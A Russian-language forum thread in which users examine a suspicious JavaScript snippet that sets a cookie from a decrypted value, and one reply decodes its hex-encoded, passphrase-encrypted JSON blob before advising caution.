Нашел чтото странное, это шелл?
var cke = "key=" + dcptedmsg + "; max-age=16";
document.cookie = cke;
document.cookie = 'key_requested=;expires=Thu, 01 Jan 1970 00:00:01 GMT;';

Шеллу тут взяться неоткуда, скрипт просто чистит печенюху key_requested и устанавливает печенюхе key значение, которое вычисляется из ciphertext

"как можно расшифровать?" - скрипт только этим и занимается, что успешно расшифровывает значение из ciphertext и кладёт его в key. Чтобы расшифровать берёте крипту и прогоняете этот скрипт, только вместо установки печенек выводите в консоль, увидите что конкретно записывается в key.

На первый взгляд не похоже на что-то вредоносное, просто какой-то ключ использующийся платёжной системой. Если опасаетесь чего-то, то думаю просто не переносите эту часть кода на сайт. В случае если в коде были важные для платежной системы данные, то она вам об этом сообщит
После первой итерации получим строку 
в Hex7b2263697068657274657874223a225866654d5347337535665773696736304b57736d6874386b5850496d4d6d596251787259354a66564d57654a5c2f6363767034616b686c56526c37595a776c7a68222c226976223a223334626432643364653737306238363730323463306431656264666139636165222c2273616c74223a226431396639326631653132653034373764333166383963356565626665383433663132336361323930316633653530373830343331326665316235333166316633326135343566333961346563376534303630633037613136393231333161326533353235613761626262623032313434353464613334393939333534376530613333316464346535653962356431373537626631643137343935343431333535353236633765306239373835373536376362656266343530633134636165623565326339626166323065356532356533343438343230313266363232653036383565306366353361343561356530333062323832386664613865353731663264343831323266373962346231643466633137383430366639323635313761336565323262336336623262336538663332373630366532666432646264376362613538643739386333363830363964393937386133633361323664383039653862613764343334383632663564326131333638366465666465313230373533636535316636323032313437313761376463316532326466383366663331323138316463616233316637313963386536326466313435653364343838376465656636663538306337306661663730353833333062343433616639366338373538393561653633343334363831666137326234336665643162306361616164653030222c2269747274223a3636367d

Которая после конвертации преобразуется в:
{
   "ciphertext":"XfeMSG3u5fWsig60KWsmht8kXPImMmYbQxrY5JfVMWeJ\/ccvp4akhlVRl7YZwlzh",
   "iv":"34bd2d3de770b867024c0d1ebdfa9cae",
   "salt":"d19f92f1e12e0477d31f89c5eebfe843f123ca2901f3e507804312fe1b531f1f32a545f39a4ec7e4060c07a1692131a2e3525a7abbbb0214454da349993547e0a331dd4e5e9b5d1757bf1d17495441355526c7e0b97857567cbebf450c14caeb5e2c9baf20e5e25e344842012f622e0685e0cf53a45a5e030b2828fda8e571f2d48122f79b4b1d4fc178406f926517a3ee22b3c6b2b3e8f327606e2fd2dbd7cba58d798c368069d9978a3c3a26d809e8ba7d434862f5d2a13686defde120753ce51f620214717a7dc1e22df83ff312181dcab31f719c8e62df145e3d4887deef6f580c70faf7058330b443af96c875895ae63434681fa72b43fed1b0caaade00",
   "itrt":666
}

Которая без Secret Passphrase уже не расшифровывается (2cccd2d726bda2bef986da176a81fbab - не подходит).

Так что наверняка трудно сказать, но лучше не рисковать.